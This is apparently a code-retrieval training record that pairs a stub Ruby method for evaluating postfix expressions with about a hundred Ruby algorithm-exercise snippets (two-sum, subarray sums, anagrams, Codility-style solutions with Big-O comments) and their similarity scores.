[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def solution(a)\n a.uniq.count\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def sub_sum_better(list)\n largest_sum = list.first\n\n #iterate over once.\n # as you iterate keep a tally of the sum.\n # indexing into an array is O(1)\n # [2, 3, -6, 7, -6, 7]\n\n sub_sum = 0\n list.each do |el|\n sub_sum += el\n largest_sum = sub_sum if sub_sum > largest_sum\n\n sub_sum = 0 if sub_sum < 0\n end\n\n largest_sum\nend", "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def my_min(arr) # Find\n min = arr[0]\n\n arr.each do |el| # Go through array once O(n)\n min = el if el < min # update min while going through if found min\n end\n min\nend", "def find_it(seq)\n uniqueInts=seq.uniq\n\n uniqueInts.each do |value|\n k=0\n seq.each do |mainSeq|\n k+=1 if mainSeq==value\n end\n return value if k%2==1\n end\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def largest_contiguous_subsum_2(list)\n largest_sum = 0\n current_sum = 0\n\n list.each do |el|\n largest_sum = current_sum \n current_sum += el \n if current_sum < el \n current_sum = el \n end \n largest_sum = current_sum if largest_sum < current_sum\n end\n\n largest_sum\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def find_unique_elements(arr)\n \nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def arrayManipulation(n, queries)\n nums = Array.new(n+1, 0)\n queries.each do |query|\n nums[query[0]-1] += query[2]\n nums[query[1]] -= query[2]\n end\n\n max = nums.first\n (1..nums.length-1).each do |i|\n nums[i] += nums[i - 1]\n max = nums[i] if nums[i] > max && i < (nums.size - 1)\n end\n\n max\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def josephus_survivor(n,k)\n arr = (1..n).to_a\n\n while arr.length > 1\n idx = k % arr.length\n\n if arr.length > k\n arr = arr.drop(k) + arr.take(k - 1)\n elsif arr.length == k \n arr = arr[0...-1]\n else\n arr = arr.drop(idx) + arr.take(idx - 1)\n end\n end\n \n arr[0]\nend", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def solution(a)\n counts = {}\n for i in a\n counts[i] ||= 0\n counts[i] += 1\n end\n for i in (1..a.count)\n return 0 if counts[i] != 1\n end\n return 1\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def solution(a)\n ((1..a.size + 1).to_a - a).first\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def find_unsorted_subarray(nums)\n \nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def solution(a)\n left = 0\n right = a.sum\n a.each_with_index do |element, index|\n right -= element\n return index if left == right\n left += element\n end\n -1\nend" ]
[ "0.6951067", "0.65906656", "0.6426608", "0.63374686", "0.61629635", "0.61491394", "0.6099901", "0.6065554", "0.6059895", "0.6039608", "0.6039197", "0.6006651", "0.60061294", "0.59993017", "0.59129846", "0.5909476", "0.58858675", "0.58789295", "0.5874044", "0.5873482", "0.5849427", "0.5845907", "0.58424884", "0.58375627", "0.58370954", "0.58283085", "0.5827643", "0.5821904", "0.5815117", "0.5806082", "0.5789968", "0.57800937", "0.5771151", "0.57684016", "0.57606626", "0.57487696", "0.5740267", "0.5739142", "0.5720818", "0.5700674", "0.56963086", "0.569504", "0.5686911", "0.5674042", "0.5671644", "0.5670046", "0.56695396", "0.5667041", "0.5666598", "0.56656027", "0.56642914", "0.5664162", "0.5659715", "0.5653328", "0.5651941", "0.56467974", "0.5641689", "0.5641191", "0.56364006", "0.5634994", "0.5633932", "0.56312966", "0.56235796", "0.5621733", "0.561905", "0.56180793", "0.56151867", "0.56084543", "0.5605726", "0.5603112", "0.5602474", "0.55988485", "0.5596026", "0.55954933", "0.5594617", "0.55895394", "0.5582315", "0.55820537", "0.55788565", "0.55776644", "0.55768484", "0.55725956", "0.55650604", "0.5564826", "0.5555005", "0.55548126", "0.5554201", "0.55524886", "0.55470765", "0.55463046", "0.55338943", "0.55333245", "0.5529909", "0.55286413", "0.55277294", "0.55268675", "0.5521547", "0.5517503", "0.5517107", "0.55168074", "0.551401" ]
0.0
-1
Time Complexity: ? Space Complexity: ?
def evaluate_postfix(postfix_expression) raise NotImplementedError, "Not implemented yet" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def three_sum_fastest(arr)\n count = 